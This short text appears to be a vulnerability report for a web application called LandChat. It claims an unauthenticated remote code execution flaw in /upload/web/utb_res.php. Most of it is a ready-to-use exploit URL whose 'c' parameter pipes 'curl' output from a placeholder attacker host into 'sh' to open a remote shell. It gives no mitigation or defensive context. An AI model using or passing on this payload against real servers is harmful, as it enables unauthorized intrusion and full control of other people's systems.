LandChat has an RCE vulnerability. No login is required. /upload/web/utb_res.php payload: ``` http://website/web/utb_res.php?c=curl https://your-shell.com/your ip:1234 | sh ```